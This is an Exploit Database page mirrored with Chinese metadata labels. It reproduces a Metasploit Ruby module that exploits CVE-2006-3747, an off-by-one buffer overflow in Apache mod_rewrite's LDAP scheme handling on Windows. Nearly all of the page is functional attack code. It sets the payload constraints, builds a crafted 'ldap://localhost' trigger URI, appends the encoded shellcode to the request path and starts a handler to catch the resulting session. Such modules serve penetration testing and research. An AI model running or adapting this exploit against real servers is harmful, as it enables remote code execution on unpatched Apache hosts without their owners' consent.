Apache mod_rewrite – LDAP protocol Buffer Overflow (Metasploit)

• Exploit Database
• 8 阅读

• 作者： Metasploit
  日期： 2010-02-15
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16752/

• ##
  # $Id: apache_mod_rewrite_ldap.rb 8498 2010-02-15 00:48:03Z hdm $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Apache module mod_rewrite LDAP protocol Buffer Overflow',
  			'Description'=> %q{
  				This module exploits the mod_rewrite LDAP protocol scheme handling
  				flaw discovered by Mark Dowd, which produces an off-by-one overflow.
  				Apache versions 1.3.29-36, 2.0.47-58, and 2.2.1-2 are vulnerable.
  				This module requires REWRITEPATH to be set accurately. In addition,
  				the target must have 'RewriteEngine on' configured, with a specific
  				'RewriteRule' condition enabled to allow for exploitation.
  
  				The flaw affects multiple platforms, however this module currently
  				only supports Windows based installations.
  			},
  			'Author' => 'patrick',
  			'Version'=> '$Revision: 8498 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-3747' ],
  					[ 'OSVDB', '27588' ],
  					[ 'BID', '19204' ],
  					[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2006-07/0514.html' ],
  					[ 'URL', 'http://www.milw0rm.com/exploits/3680' ],
  					[ 'URL', 'http://www.milw0rm.com/exploits/3996' ],
  					[ 'URL', 'http://www.milw0rm.com/exploits/2237' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Privileged' => true,
  			'Platform' => ['win'], # 'linux'],
  			'Payload'=>
  				{
  					'Space'=> 636,
  					'BadChars' => "\x00\x0a\x0d\x20",
  					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
  					'StackAdjustment' => -3500,
  					'DisableNops'=>'True',
  				},
  			'Targets'=>
  				[
  					['Automatic', {} ], # patrickw tested OK 20090310 win32
  				],
  			'DisclosureDate' => 'Jul 28 2006',
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					OptString.new('REWRITEPATH', [true, "The mod_rewrite URI path", "rewrite_path"]),
  				], self.class)
  	end
  
  
  	def check
  		res = send_request_raw({
  			'uri' => '/',
  			'version' => '1.1',
  		}, 2)
  
  		if (res.to_s =~ /Apache/) # This could be smarter.
  			return Exploit::CheckCode::Detected
  		end
  		return Exploit::CheckCode::Safe
  
  	end
  
  	def exploit
  
  		# On Linux Apache, it is possible to overwrite EIP by
  		# sending ldap://<buf> ... TODO patrickw
  
  		trigger = '/ldap://localhost/%3fA%3fA%3fCCCCCCCCCC%3fC%3f%90'
  
  		print_status("Sending payload.")
  		send_request_raw({
  				'uri' => '/' + datastore['REWRITEPATH'] + trigger + payload.encoded,
  				'version' => '1.0',
  				}, 2)
  		handler
  	end
  end